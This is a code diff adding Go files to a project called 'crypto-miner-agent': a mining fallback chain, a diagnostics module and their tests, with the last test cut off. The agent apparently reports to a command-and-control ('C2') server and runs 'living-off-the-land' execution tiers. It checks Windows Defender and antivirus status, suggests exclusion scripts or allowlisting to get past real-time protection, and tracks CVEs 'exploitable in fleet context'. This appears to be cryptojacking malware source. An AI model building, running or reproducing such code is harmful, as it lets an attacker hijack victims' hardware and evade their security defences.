||||||
|
|
||||||
|
func (r *MiningChainRunner) stopDotnet() {
|
||||||
|
c := r.client
|
||||||
|
if c.dotnetMiner != nil {
|
||||||
|
c.dotnetMiner.Stop()
|
||||||
|
c.dotnetMiner = nil
|
||||||
|
}
|
||||||
|
c.hostMiningDisabled.Store(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopSidecarPrimary(c *AgentClient) {
|
||||||
|
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||||
|
c.containerMiner.Stop()
|
||||||
|
c.containerMiner = nil
|
||||||
|
}
|
||||||
|
if c.wslMiner != nil && c.wslMiner.Running() {
|
||||||
|
c.wslMiner.Stop()
|
||||||
|
c.wslMiner = nil
|
||||||
|
}
|
||||||
|
if c.psMiner != nil && c.psMiner.Running() {
|
||||||
|
c.psMiner.Stop()
|
||||||
|
c.psMiner = nil
|
||||||
|
}
|
||||||
|
if c.dotnetMiner != nil && c.dotnetMiner.Running() {
|
||||||
|
c.dotnetMiner.Stop()
|
||||||
|
c.dotnetMiner = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopInProcess() {
|
||||||
|
c := r.client
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) stopGPU() {
|
||||||
|
c := r.client
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gm.Stop()
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
c.gpuMiner = nil
|
||||||
|
c.mu.Unlock()
|
||||||
|
r.ctrl.SetGPUActive(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reportTierEvent(report miner.TierReport, eventType string) {
|
||||||
|
c := r.client
|
||||||
|
payload, err := json.Marshal(struct {
|
||||||
|
miner.TierReport
|
||||||
|
Event string `json:"event"`
|
||||||
|
}{
|
||||||
|
TierReport: report,
|
||||||
|
Event: eventType,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := c.write(Message{Type: "tier_report", Payload: payload}); err != nil {
|
||||||
|
log.Printf("[lotl-tier] %s notify failed: %v", eventType, err)
|
||||||
|
}
|
||||||
|
r.ctrl.MergeLOTLReport(report)
|
||||||
|
if method, ok := miner.TierToMiningMethod(report.ActiveTier); ok {
|
||||||
|
r.ctrl.SetPrimaryActive(method)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (r *MiningChainRunner) reportMiningEvent(status miner.MiningStatus, eventType string) {
|
||||||
|
c := r.client
|
||||||
|
payload, err := json.Marshal(struct {
|
||||||
|
miner.MiningStatus
|
||||||
|
Event string `json:"event"`
|
||||||
|
}{
|
||||||
|
MiningStatus: status,
|
||||||
|
Event: eventType,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := c.write(Message{Type: eventType, Payload: payload}); err != nil {
|
||||||
|
log.Printf("[mining-chain] %s notify failed: %v", eventType, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// chainOrderForConfig exposes chain order for diagnostics without starting mining.
|
||||||
|
func chainOrderForConfig(cfg config.RuntimeConfig) []miner.MiningMethod {
|
||||||
|
rt := miner.RuntimeDetector()
|
||||||
|
return miner.DefaultFallbackChain(cfg, rt)
|
||||||
|
}
|
||||||
|
|
||||||
|
func tierChainForConfig(cfg config.RuntimeConfig, policy miner.MiningTierPolicy) []miner.LOTLTier {
|
||||||
|
probes := miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||||
|
chain, _ := miner.SelectMiningTierChain(probes, policy, cfg)
|
||||||
|
return chain
|
||||||
|
}
|
||||||
93
agent/client/mining_chain_test.go
Normal file
93
agent/client/mining_chain_test.go
Normal file
@@ -0,0 +1,93 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"runtime"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestChainOrderForConfigInProcessSkipsContainer(t *testing.T) {
|
||||||
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||||
|
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
})
|
||||||
|
defer miner.SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
order := chainOrderForConfig(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: miner.ExecutionInProcess,
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
for _, m := range order {
|
||||||
|
if m == miner.MethodContainer {
|
||||||
|
t.Fatalf("inprocess mode must not include container, got %v", order)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(order) == 0 || order[0] != miner.MethodInProcess {
|
||||||
|
t.Fatalf("want inprocess first, got %v", order)
|
||||||
|
}
|
||||||
|
stratumIdx := -1
|
||||||
|
for i, m := range order {
|
||||||
|
if m == miner.MethodStratumDirect {
|
||||||
|
stratumIdx = i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if stratumIdx < 0 {
|
||||||
|
t.Fatalf("want stratum_direct when pool configured, got %v", order)
|
||||||
|
}
|
||||||
|
if runtime.GOOS == "windows" {
|
||||||
|
for i, m := range order {
|
||||||
|
if m == miner.MethodStratumDirect && i < len(order)-1 {
|
||||||
|
// Windows appends LOTL probe/execution tiers after stratum.
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else if order[len(order)-1] != miner.MethodStratumDirect {
|
||||||
|
t.Fatalf("want stratum last when pool configured, got %v", order)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestChainOrderForConfigAutoWithDocker(t *testing.T) {
|
||||||
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||||
|
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
})
|
||||||
|
defer miner.SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
order := chainOrderForConfig(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: miner.ExecutionAuto,
|
||||||
|
PoolHost: "p",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
wantPrefix := []miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess, miner.MethodStratumDirect}
|
||||||
|
if len(order) < len(wantPrefix) {
|
||||||
|
t.Fatalf("order=%v want prefix %v", order, wantPrefix)
|
||||||
|
}
|
||||||
|
for i := range wantPrefix {
|
||||||
|
if order[i] != wantPrefix[i] {
|
||||||
|
t.Fatalf("order[%d]=%q want %q full=%v", i, order[i], wantPrefix[i], order)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestChainOrderForConfigContainerWithoutRuntime(t *testing.T) {
|
||||||
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||||
|
defer miner.SetRuntimeDetector(nil)
|
||||||
|
|
||||||
|
order := chainOrderForConfig(config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: miner.ExecutionContainer,
|
||||||
|
PoolHost: "p",
|
||||||
|
},
|
||||||
|
})
|
||||||
|
for _, m := range order {
|
||||||
|
if m == miner.MethodContainer {
|
||||||
|
t.Fatalf("no runtime — container must be omitted, got %v", order)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if order[0] != miner.MethodInProcess {
|
||||||
|
t.Fatalf("want inprocess first without runtime, got %v", order)
|
||||||
|
}
|
||||||
|
}
|
||||||
296
agent/client/mining_diagnostics.go
Normal file
296
agent/client/mining_diagnostics.go
Normal file
@@ -0,0 +1,296 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"runtime"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
)
|
||||||
|
|
||||||
|
// MiningDiagnostics is a read-only snapshot of why mining may be idle or blocked.
|
||||||
|
type MiningDiagnostics struct {
|
||||||
|
GeneratedAt string `json:"generated_at"`
|
||||||
|
Platform string `json:"platform"`
|
||||||
|
ConfiguredExecution string `json:"configured_execution"`
|
||||||
|
ExecutionMode string `json:"execution_mode"`
|
||||||
|
ContainerAvailable bool `json:"container_runtime_available"`
|
||||||
|
ContainerCLI string `json:"container_runtime_cli,omitempty"`
|
||||||
|
ContainerRunning bool `json:"container_running"`
|
||||||
|
DockerLoadAvailable bool `json:"docker_load_available"`
|
||||||
|
DockerImageTar string `json:"docker_image_tar,omitempty"`
|
||||||
|
WSLAvailable bool `json:"wsl_available"`
|
||||||
|
WSLDistros []string `json:"wsl_distros,omitempty"`
|
||||||
|
WSLRunning bool `json:"wsl_running"`
|
||||||
|
HostMiningDisabled bool `json:"host_mining_disabled"`
|
||||||
|
C2Connected bool `json:"c2_connected"`
|
||||||
|
LastJobAgeSec *float64 `json:"last_job_age_sec,omitempty"`
|
||||||
|
MiningMode string `json:"mining_mode"`
|
||||||
|
PoolHost string `json:"pool_host"`
|
||||||
|
PoolPort int `json:"pool_port"`
|
||||||
|
InstallDir string `json:"install_dir,omitempty"`
|
||||||
|
AVRecommendation string `json:"av_recommendation,omitempty"`
|
||||||
|
LikelyBlockers []string `json:"likely_blockers"`
|
||||||
|
ActiveMethod string `json:"active_method,omitempty"`
|
||||||
|
FailedMethods []struct {
|
||||||
|
Method string `json:"method"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
At string `json:"at"`
|
||||||
|
} `json:"failed_methods,omitempty"`
|
||||||
|
ChainOrder []string `json:"chain_order,omitempty"`
|
||||||
|
StratumOverlay bool `json:"stratum_overlay,omitempty"`
|
||||||
|
ChainExhausted bool `json:"chain_exhausted,omitempty"`
|
||||||
|
CPU struct {
|
||||||
|
RemotePaused bool `json:"remote_paused"`
|
||||||
|
ScheduleBlocked bool `json:"schedule_blocked"`
|
||||||
|
ResourcesBlocked bool `json:"resources_blocked"`
|
||||||
|
HasJob bool `json:"has_job"`
|
||||||
|
Hashrate float64 `json:"hashrate_hps"`
|
||||||
|
} `json:"cpu"`
|
||||||
|
GPU struct {
|
||||||
|
Enabled bool `json:"enabled"`
|
||||||
|
Active bool `json:"active"`
|
||||||
|
Paused bool `json:"paused"`
|
||||||
|
Model string `json:"model,omitempty"`
|
||||||
|
} `json:"gpu"`
|
||||||
|
Defender *struct {
|
||||||
|
Enabled *bool `json:"enabled,omitempty"`
|
||||||
|
RTP *bool `json:"rtp,omitempty"`
|
||||||
|
Products []string `json:"products,omitempty"`
|
||||||
|
} `json:"defender,omitempty"`
|
||||||
|
|
||||||
|
EnvironmentProbes miner.EnvironmentProbes `json:"environment_probes"`
|
||||||
|
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||||
|
LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"`
|
||||||
|
TierChainOrder []string `json:"tier_chain_order,omitempty"`
|
||||||
|
TierChainSkipped []string `json:"tier_chain_skipped,omitempty"`
|
||||||
|
WebGPUReady bool `json:"webgpu_ready,omitempty"`
|
||||||
|
GPUComputeOK bool `json:"gpu_compute_ok,omitempty"`
|
||||||
|
|
||||||
|
VulnFindings []struct {
|
||||||
|
CVEID string `json:"cve_id"`
|
||||||
|
Severity string `json:"severity"`
|
||||||
|
Component string `json:"component"`
|
||||||
|
Patched bool `json:"patched"`
|
||||||
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||||
|
Detail string `json:"detail,omitempty"`
|
||||||
|
} `json:"vuln_findings,omitempty"`
|
||||||
|
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics {
|
||||||
|
execMode, containerRT := miner.ResolveExecutionMode(c.cfg)
|
||||||
|
remotePaused, scheduleBlocked, resourcesBlocked, hasJob, hps := c.pool.DiagnosticSnapshot()
|
||||||
|
|
||||||
|
var d MiningDiagnostics
|
||||||
|
d.GeneratedAt = time.Now().UTC().Format(time.RFC3339)
|
||||||
|
d.Platform = runtime.GOOS
|
||||||
|
d.ConfiguredExecution = c.cfg.MinerExecution
|
||||||
|
d.ExecutionMode = execMode
|
||||||
|
d.ContainerAvailable = containerRT.Available
|
||||||
|
d.ContainerCLI = containerRT.CLI
|
||||||
|
if c.containerMiner != nil {
|
||||||
|
d.ContainerRunning = c.containerMiner.Running()
|
||||||
|
}
|
||||||
|
if tarPath, err := miner.ResolveImageTar(c.cfg); err == nil {
|
||||||
|
d.DockerLoadAvailable = containerRT.Available
|
||||||
|
d.DockerImageTar = tarPath
|
||||||
|
}
|
||||||
|
wslRT := miner.WSLDetector()
|
||||||
|
d.WSLAvailable = wslRT.Available
|
||||||
|
d.WSLDistros = wslRT.Distros
|
||||||
|
if c.wslMiner != nil {
|
||||||
|
d.WSLRunning = c.wslMiner.Running()
|
||||||
|
}
|
||||||
|
d.HostMiningDisabled = c.hostMiningDisabled.Load()
|
||||||
|
d.C2Connected = c.connected.Load()
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
age := time.Since(raw.(time.Time)).Seconds()
|
||||||
|
d.LastJobAgeSec = &age
|
||||||
|
}
|
||||||
|
d.MiningMode = c.cfg.MiningMode
|
||||||
|
d.PoolHost = c.cfg.PoolHost
|
||||||
|
d.PoolPort = c.cfg.PoolPort
|
||||||
|
if dir, err := c.cfg.InstallDirectory(); err == nil {
|
||||||
|
d.InstallDir = dir
|
||||||
|
}
|
||||||
|
d.AVRecommendation = miner.AVBlockRecommendation(execMode, containerRT)
|
||||||
|
d.EnvironmentProbes = miner.ProbeEnvironment(miner.RuntimeDetector)
|
||||||
|
if d.EnvironmentProbes.GPU == false && c.cfg.GPUEnabled {
|
||||||
|
d.EnvironmentProbes.GPU = newGPUMiner(c.cfg) != nil
|
||||||
|
}
|
||||||
|
if p := collectPosture(); p != nil && p.DefenderRTP != nil && *p.DefenderRTP {
|
||||||
|
d.EnvironmentProbes.AVBlocksExe = true
|
||||||
|
}
|
||||||
|
|
||||||
|
tierChain := tierChainForConfig(c.cfg, c.miningTierPolicy())
|
||||||
|
d.TierChainOrder = make([]string, len(tierChain))
|
||||||
|
for i, t := range tierChain {
|
||||||
|
d.TierChainOrder[i] = string(t)
|
||||||
|
}
|
||||||
|
_, skipped := miner.SelectMiningTierChain(d.EnvironmentProbes, c.miningTierPolicy(), c.cfg)
|
||||||
|
d.TierChainSkipped = make([]string, len(skipped))
|
||||||
|
for i, t := range skipped {
|
||||||
|
d.TierChainSkipped[i] = string(t)
|
||||||
|
}
|
||||||
|
|
||||||
|
d.CPU.RemotePaused = remotePaused
|
||||||
|
d.CPU.ScheduleBlocked = scheduleBlocked
|
||||||
|
d.CPU.ResourcesBlocked = resourcesBlocked
|
||||||
|
d.CPU.HasJob = hasJob
|
||||||
|
d.CPU.Hashrate = hps
|
||||||
|
|
||||||
|
d.GPU.Enabled = c.cfg.GPUEnabled
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
_, active := gm.Stats()
|
||||||
|
d.GPU.Active = active
|
||||||
|
d.GPU.Model = gm.GPUModel()
|
||||||
|
gm.mu.RLock()
|
||||||
|
d.GPU.Paused = gm.paused
|
||||||
|
gm.mu.RUnlock()
|
||||||
|
} else if c.cfg.GPUEnabled {
|
||||||
|
d.LikelyBlockers = append(d.LikelyBlockers, "gpu_enabled but no supported GPU miner started (driver missing or AV blocked T-Rex/TRM download)")
|
||||||
|
}
|
||||||
|
|
||||||
|
if p := collectPosture(); p != nil && (p.DefenderEnabled != nil || len(p.AVProducts) > 0) {
|
||||||
|
d.Defender = &struct {
|
||||||
|
Enabled *bool `json:"enabled,omitempty"`
|
||||||
|
RTP *bool `json:"rtp,omitempty"`
|
||||||
|
Products []string `json:"products,omitempty"`
|
||||||
|
}{
|
||||||
|
Enabled: p.DefenderEnabled,
|
||||||
|
RTP: p.DefenderRTP,
|
||||||
|
Products: p.AVProducts,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
d.LikelyBlockers = append(d.LikelyBlockers, c.inferMiningBlockers(d)...)
|
||||||
|
|
||||||
|
if c.miningChain != nil {
|
||||||
|
ms := c.miningChain.Status()
|
||||||
|
if ms.LOTLTier != "" {
|
||||||
|
d.LOTLTier = string(ms.LOTLTier)
|
||||||
|
}
|
||||||
|
if len(ms.LOTLAttempts) > 0 {
|
||||||
|
d.LOTLAttempts = append(d.LOTLAttempts[:0:0], ms.LOTLAttempts...)
|
||||||
|
}
|
||||||
|
d.WebGPUReady = ms.WebGPUReady
|
||||||
|
if c.miningChain.tiers != nil {
|
||||||
|
tr := c.miningChain.tiers.Report()
|
||||||
|
d.GPUComputeOK = tr.GPUComputeOK
|
||||||
|
if d.LOTLTier == "" && tr.ActiveTier != "" {
|
||||||
|
d.LOTLTier = string(tr.ActiveTier)
|
||||||
|
}
|
||||||
|
if len(d.LOTLAttempts) == 0 && len(tr.Attempts) > 0 {
|
||||||
|
d.LOTLAttempts = tr.Attempts
|
||||||
|
}
|
||||||
|
}
|
||||||
|
d.ActiveMethod = string(ms.ActiveMethod)
|
||||||
|
d.StratumOverlay = ms.StratumOverlay
|
||||||
|
d.ChainExhausted = ms.ChainExhausted
|
||||||
|
if len(ms.ChainOrder) > 0 {
|
||||||
|
d.ChainOrder = make([]string, len(ms.ChainOrder))
|
||||||
|
for i, m := range ms.ChainOrder {
|
||||||
|
d.ChainOrder[i] = string(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(ms.FailedMethods) > 0 {
|
||||||
|
d.FailedMethods = make([]struct {
|
||||||
|
Method string `json:"method"`
|
||||||
|
Reason string `json:"reason"`
|
||||||
|
At string `json:"at"`
|
||||||
|
}, len(ms.FailedMethods))
|
||||||
|
for i, f := range ms.FailedMethods {
|
||||||
|
d.FailedMethods[i].Method = string(f.Method)
|
||||||
|
d.FailedMethods[i].Reason = f.Reason
|
||||||
|
d.FailedMethods[i].At = f.At
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
d.ChainOrder = make([]string, len(chainOrderForConfig(c.cfg)))
|
||||||
|
for i, m := range chainOrderForConfig(c.cfg) {
|
||||||
|
d.ChainOrder[i] = string(m)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if vr := LastVulnScan(); vr != nil {
|
||||||
|
score := vr.RiskScore
|
||||||
|
d.VulnRiskScore = &score
|
||||||
|
if len(vr.Findings) > 0 {
|
||||||
|
d.VulnFindings = make([]struct {
|
||||||
|
CVEID string `json:"cve_id"`
|
||||||
|
Severity string `json:"severity"`
|
||||||
|
Component string `json:"component"`
|
||||||
|
Patched bool `json:"patched"`
|
||||||
|
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
|
||||||
|
Detail string `json:"detail,omitempty"`
|
||||||
|
}, len(vr.Findings))
|
||||||
|
for i, f := range vr.Findings {
|
||||||
|
d.VulnFindings[i].CVEID = f.CVEID
|
||||||
|
d.VulnFindings[i].Severity = f.Severity
|
||||||
|
d.VulnFindings[i].Component = f.Component
|
||||||
|
d.VulnFindings[i].Patched = f.Patched
|
||||||
|
d.VulnFindings[i].ExploitableInFleetContext = f.ExploitableInFleetContext
|
||||||
|
d.VulnFindings[i].Detail = f.Detail
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return d
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) inferMiningBlockers(d MiningDiagnostics) []string {
|
||||||
|
var blockers []string
|
||||||
|
if d.CPU.RemotePaused {
|
||||||
|
blockers = append(blockers, "mining paused by remote command or healthy container delegation")
|
||||||
|
}
|
||||||
|
if d.CPU.ScheduleBlocked {
|
||||||
|
blockers = append(blockers, "mining_mode schedule/idle guard blocking workers")
|
||||||
|
}
|
||||||
|
if d.CPU.ResourcesBlocked {
|
||||||
|
blockers = append(blockers, "resource guard: CPU/RAM limits exceeded")
|
||||||
|
}
|
||||||
|
if !d.C2Connected && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 30) {
|
||||||
|
blockers = append(blockers, "no C2 job yet — direct Stratum fallback should start within ~10s if pool reachable")
|
||||||
|
}
|
||||||
|
if d.C2Connected && !d.CPU.HasJob && (d.LastJobAgeSec == nil || *d.LastJobAgeSec > 20) {
|
||||||
|
blockers = append(blockers, "C2 connected but no mining job delivered — check server pool proxy")
|
||||||
|
}
|
||||||
|
if d.CPU.HasJob && d.CPU.Hashrate < 1 && !d.HostMiningDisabled {
|
||||||
|
blockers = append(blockers, "job present but hashrate=0 — engine init failure or process throttled/killed by AV")
|
||||||
|
}
|
||||||
|
if d.HostMiningDisabled && !d.ContainerRunning {
|
||||||
|
blockers = append(blockers, "host mining disabled for container mode but container is not running")
|
||||||
|
}
|
||||||
|
if d.Defender != nil && d.Defender.RTP != nil && *d.Defender.RTP {
|
||||||
|
blockers = append(blockers, "Windows Defender real-time protection is ON — use Calibrate exclusion script or allowlist install path")
|
||||||
|
}
|
||||||
|
if d.GPU.Enabled && !d.GPU.Active && !d.GPU.Paused {
|
||||||
|
blockers = append(blockers, "GPU mining configured but subprocess inactive — T-Rex/TRM likely quarantined or download blocked")
|
||||||
|
}
|
||||||
|
if d.ExecutionMode == miner.ExecutionContainer && !d.ContainerAvailable {
|
||||||
|
blockers = append(blockers, "container mode requested but Docker/Podman not detected — falls back to in-process")
|
||||||
|
}
|
||||||
|
if d.DockerImageTar != "" && !d.ContainerAvailable {
|
||||||
|
blockers = append(blockers, "docker_load policy has image tar but Docker/Podman not detected")
|
||||||
|
}
|
||||||
|
if !d.WSLAvailable && runtime.GOOS == "windows" {
|
||||||
|
blockers = append(blockers, "WSL2 not detected — wsl tier skipped (install a distro for AV-friendly Linux sidecar)")
|
||||||
|
}
|
||||||
|
if d.ChainExhausted {
|
||||||
|
blockers = append(blockers, "mining fallback chain exhausted — all primary methods failed")
|
||||||
|
}
|
||||||
|
if len(d.FailedMethods) > 0 && d.ActiveMethod == "" && !d.StratumOverlay {
|
||||||
|
blockers = append(blockers, "cascade failures recorded — check failed_methods in diagnostics JSON")
|
||||||
|
}
|
||||||
|
return blockers
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) miningDiagnosticsJSON() string {
|
||||||
|
d := c.collectMiningDiagnostics()
|
||||||
|
b, _ := json.MarshalIndent(d, "", " ")
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
195
agent/client/mining_diagnostics_test.go
Normal file
195
agent/client/mining_diagnostics_test.go
Normal file
@@ -0,0 +1,195 @@
|
|||||||
|
package client
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"crypto-miner-agent/config"
|
||||||
|
"crypto-miner-agent/miner"
|
||||||
|
"crypto-miner-agent/stats"
|
||||||
|
)
|
||||||
|
|
||||||
|
func testDiagnosticsClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
|
||||||
|
t.Helper()
|
||||||
|
c := NewAgentClient(cfg)
|
||||||
|
c.pool = miner.NewPool(1, cfg, stats.NewReporter(), nil)
|
||||||
|
return c
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMiningDiagnosticsJSONShape(t *testing.T) {
|
||||||
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||||
|
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
|
||||||
|
})
|
||||||
|
defer miner.SetRuntimeDetector(nil)
|
||||||
|
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||||
|
defer miner.SetWSLDetector(nil)
|
||||||
|
SetPostureCollector(func() *PostureReport { return nil })
|
||||||
|
defer SetPostureCollector(nil)
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: miner.ExecutionAuto,
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
PoolPort: 3333,
|
||||||
|
MiningMode: "always",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
c := testDiagnosticsClient(t, cfg)
|
||||||
|
c.connected.Store(true)
|
||||||
|
|
||||||
|
raw := c.miningDiagnosticsJSON()
|
||||||
|
var doc map[string]interface{}
|
||||||
|
if err := json.Unmarshal([]byte(raw), &doc); err != nil {
|
||||||
|
t.Fatalf("invalid JSON: %v\n%s", err, raw)
|
||||||
|
}
|
||||||
|
for _, key := range []string{
|
||||||
|
"generated_at", "platform", "configured_execution", "execution_mode",
|
||||||
|
"container_runtime_available", "c2_connected", "mining_mode",
|
||||||
|
"pool_host", "pool_port", "likely_blockers", "chain_order", "cpu", "gpu",
|
||||||
|
} {
|
||||||
|
if _, ok := doc[key]; !ok {
|
||||||
|
t.Fatalf("missing key %q in diagnostics JSON", key)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
blockers, ok := doc["likely_blockers"].([]interface{})
|
||||||
|
if !ok {
|
||||||
|
t.Fatalf("likely_blockers type = %T", doc["likely_blockers"])
|
||||||
|
}
|
||||||
|
if len(blockers) == 0 {
|
||||||
|
t.Fatal("expected at least one likely_blocker for idle agent with no job")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInferMiningBlockersRemotePause(t *testing.T) {
|
||||||
|
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
|
||||||
|
d := c.collectMiningDiagnostics()
|
||||||
|
found := false
|
||||||
|
for _, b := range d.LikelyBlockers {
|
||||||
|
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
|
||||||
|
found = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInferMiningBlockersChainExhausted(t *testing.T) {
|
||||||
|
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||||
|
d := MiningDiagnostics{C2Connected: true, ChainExhausted: true}
|
||||||
|
blockers := c.inferMiningBlockers(d)
|
||||||
|
found := false
|
||||||
|
for _, b := range blockers {
|
||||||
|
if strings.Contains(b, "fallback chain exhausted") {
|
||||||
|
found = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("got %v", blockers)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInferMiningBlockersDefenderRTP(t *testing.T) {
|
||||||
|
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||||
|
rtp := true
|
||||||
|
d := MiningDiagnostics{
|
||||||
|
C2Connected: true,
|
||||||
|
Defender: &struct {
|
||||||
|
Enabled *bool `json:"enabled,omitempty"`
|
||||||
|
RTP *bool `json:"rtp,omitempty"`
|
||||||
|
Products []string `json:"products,omitempty"`
|
||||||
|
}{RTP: &rtp},
|
||||||
|
}
|
||||||
|
blockers := c.inferMiningBlockers(d)
|
||||||
|
found := false
|
||||||
|
for _, b := range blockers {
|
||||||
|
if strings.Contains(b, "Defender real-time protection") {
|
||||||
|
found = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("got %v", blockers)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestInferMiningBlockersContainerModeNoRuntime(t *testing.T) {
|
||||||
|
c := testDiagnosticsClient(t, config.RuntimeConfig{})
|
||||||
|
d := MiningDiagnostics{
|
||||||
|
ExecutionMode: miner.ExecutionContainer,
|
||||||
|
ContainerAvailable: false,
|
||||||
|
}
|
||||||
|
blockers := c.inferMiningBlockers(d)
|
||||||
|
found := false
|
||||||
|
for _, b := range blockers {
|
||||||
|
if strings.Contains(b, "Docker/Podman not detected") {
|
||||||
|
found = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !found {
|
||||||
|
t.Fatalf("expected container runtime blocker, got %v", blockers)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMiningDiagnosticsIncludesTierChainFields(t *testing.T) {
|
||||||
|
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||||
|
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker"}
|
||||||
|
})
|
||||||
|
defer miner.SetRuntimeDetector(nil)
|
||||||
|
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||||
|
defer miner.SetWSLDetector(nil)
|
||||||
|
SetPostureCollector(func() *PostureReport { return nil })
|
||||||
|
defer SetPostureCollector(nil)
|
||||||
|
|
||||||
|
cfg := config.RuntimeConfig{
|
||||||
|
BuiltinConfig: config.BuiltinConfig{
|
||||||
|
MinerExecution: miner.ExecutionAuto,
|
||||||
|
PoolHost: "pool.example.com",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
c := testDiagnosticsClient(t, cfg)
|
||||||
|
d := c.collectMiningDiagnostics()
|
||||||
|
if len(d.TierChainOrder) == 0 {
|
||||||
|
